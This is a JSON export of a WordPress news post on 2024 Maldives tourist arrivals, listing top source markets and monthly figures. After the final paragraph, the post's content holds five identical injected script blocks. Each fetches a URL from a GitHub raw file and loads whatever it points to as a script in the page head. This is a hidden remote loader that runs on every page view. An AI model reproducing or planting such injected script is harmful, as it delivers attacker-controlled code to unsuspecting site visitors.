{"id":9315,"date":"2024-05-05T13:41:25","date_gmt":"2024-05-05T08:41:25","guid":{"rendered":"https:\/\/mbt.mv\/?p=9315"},"modified":"2024-05-05T13:41:25","modified_gmt":"2024-05-05T08:41:25","slug":"russia-reclaims-second-spot-annual-arrivals-close-to-800000","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=9315","title":{"rendered":"Russia reclaims second spot, annual arrivals close to 800,000"},"content":{"rendered":"<p>Tourist arrivals to the Maldives in annual terms have reached 794,109; a 12.3% increase compared to the same period last year.<\/p>\n<p>According to the Ministry of Tourism, tourist arrivals for the same period last year stood at 707,306.<\/p>\n<p>Russia has meanwhile, reclaimed its second spot from United Kingdom, which has slipped to third spot. China remains unchallenged at the top place with close to 90,000 arrivals so far.<\/p>\n<h2>Top 10 Markets<\/h2>\n<ol>\n<li>China \u2013 87,168<\/li>\n<li>Russia \u2013 80,160<\/li>\n<li>UK \u2013 76,823<\/li>\n<li>Italy \u2013 71,536<\/li>\n<li>Germany \u2013 61,959<\/li>\n<li>India \u2013 43,991<\/li>\n<li>France \u2013 30,063<\/li>\n<li>USA \u2013 27,796<\/li>\n<li>Switzerland \u2013 20,078<\/li>\n<li>Poland \u2013 16,542<\/li>\n<\/ol>\n<h2>Tourist Arrivals &#8211; Monthly<\/h2>\n<ul>\n<li>January \u2013 192, 365<\/li>\n<li>February \u2013 212,392<\/li>\n<li>March \u2013 194,227<\/li>\n<li>April \u2013 168,647<\/li>\n<\/ul>\n<p>Arrivals from May 01 to 04, 2024 have reached 21,458 from 19,021 in the same duration in 2023; indicating a 12.8% increase this year.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tourist arrivals to the Maldives in annual terms have reached 794,109; a 12.3% increase compared to the same period last year. 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